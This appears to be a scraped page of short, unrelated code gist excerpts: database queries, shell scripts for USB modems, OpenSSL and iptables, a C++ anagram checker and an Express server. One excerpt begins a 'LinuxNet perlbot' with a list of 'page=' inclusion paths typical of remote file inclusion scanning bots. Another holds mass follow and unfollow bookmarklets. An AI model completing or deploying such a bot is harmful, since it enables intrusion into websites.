This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var getSons = function(personnage) { | |
dbStatement = db._createStatement({ | |
"query" : "FOR p IN PATHS(gameOfThrone, parentOf, 'outbound') FILTER p.source._id == @id && LENGTH(p.edges) == 1 && p.destination.gender == 'm' RETURN p.destination" | |
}); | |
dbStatement.bind("id", personnage); | |
return dbStatement.execute(); | |
}; | |
var getDaughters = function(personnage) { | |
dbStatement = db._createStatement({ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
service udev stop | |
service udev start | |
usb_modeswitch -v 12d1 -p 1446 -M 55534243000000000000000000000011060000000000000000000000000000 -m 0x01 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
#include <algorithm> | |
#include <cstring> | |
#include <fstream> | |
#include <list> | |
using namespace std; | |
bool sontAnagrammes( const char * c_saisie , const char * c_mot ) | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var express = require('express'); | |
var app = express(); | |
app | |
.get('/', function(req, res) { | |
res.sendFile(__dirname + '/index.html'); | |
}) | |
.use(express.static(__dirname, '.')) | |
.listen(8080); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl | |
# ------------------------------------------------------------- # | |
# LinuxNet perlbot # | |
# ------------------------------------------------------------- # | |
my $processo = '-'; | |
my @titi = ("index.php?page=","main.php?page="); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//Mass following | |
javascript:var inputs = document.getElementsByClassName('button-text follow-text'); for(var i=0; i<inputs.length;i++) { inputs[i].click(); } | |
//Mass unfollowing | |
setInterval(function(){t=$(".following").find(".follow-button");if(!t[0]){window.scrollTo(0,$(document).height());}else{ console.log(t.attr("class")); t.trigger("click");}},100) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <unistd.h> | |
int main(){ | |
int num_processors = 0; | |
#if defined(_SC_NPROCESSORS_CONF) | |
num_processors = sysconf(_SC_NPROCESSORS_CONF); | |
#endif | |
printf("%d\n", num_processors); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
#openssl genrsa -aes256 -out server.key.secure 4096 | |
#openssl rsa -in server.key.secure -out server.key | |
#openssl req -new -sha256 -key server.key -out server.csr | |
openssl req -new -sha256 -newkey rsa:4096 -nodes -keyout server.key -out server.csr | |
openssl x509 -req -sha256 -days 365 -in server.csr -CA CA.crt -CAkey CA.key -CAcreateserial -out server.crt |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
VERSION=$1 | |
git pull origin webservice-webapp-$VERSION && git tag $VERSION webservice-webapp-$VERSION && git push --tags && git push origin :refs/tags/webservice-webapp-$VERSION && git tag -d webservice-webapp-$VERSION |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
iptables -t mangle -A POSTROUTING -p icmp -j MARK --set-mark 10 | |
iptables -t mangle -A POSTROUTING -p udp --dport 53 -j MARK --set-mark 20 | |
iptables -t mangle -A POSTROUTING -p udp --dport 123 -j MARK --set-mark 20 | |
iptables -t mangle -A POSTROUTING -p udp --dport 161:162 -j MARK --set-mark 20 | |
iptables -t mangle -A POSTROUTING -p tcp --dport 22 -j MARK --set-mark 30 | |
iptables -t mangle -A POSTROUTING -p tcp --dport 80 -j MARK --set-mark 40 | |
iptables -t mangle -A POSTROUTING -p tcp --dport 443 -j MARK --set-mark 40 |
OlderNewer